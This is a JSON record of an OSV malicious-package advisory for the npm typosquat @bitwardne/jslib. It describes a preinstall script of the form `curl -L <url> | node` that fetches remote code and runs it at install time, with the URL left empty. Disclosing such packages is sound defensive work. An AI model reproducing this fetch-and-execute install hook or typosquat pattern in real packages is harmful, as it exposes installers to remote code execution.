{"id":"MAL-2026-17694","revision":"5dc2417b32a348ee97ac5bee899033a1","records":[{"revision":"5dc2417b32a348ee97ac5bee899033a1","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17694","aliases":[],"title":"Malicious code in @bitwardne/jslib (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d)\nPackage @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form `curl -L <url> | node`, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at `npm install` time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.\n","state":0,"publishedAt":"2026-10-08T16:53:48+00:00","modifiedAt":"2026-10-08T17:25:14.2840467+00:00","affected":[{"ecosystem":"npm","name":"@bitwardne/jslib","ranges":[],"versions":["1.1.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@bitwardne/jslib/v/1.1.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17694","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17694","identifiers":["MAL-2026-17694"]},"retained":false,"historicalAffected":[]}],"coverage":[]}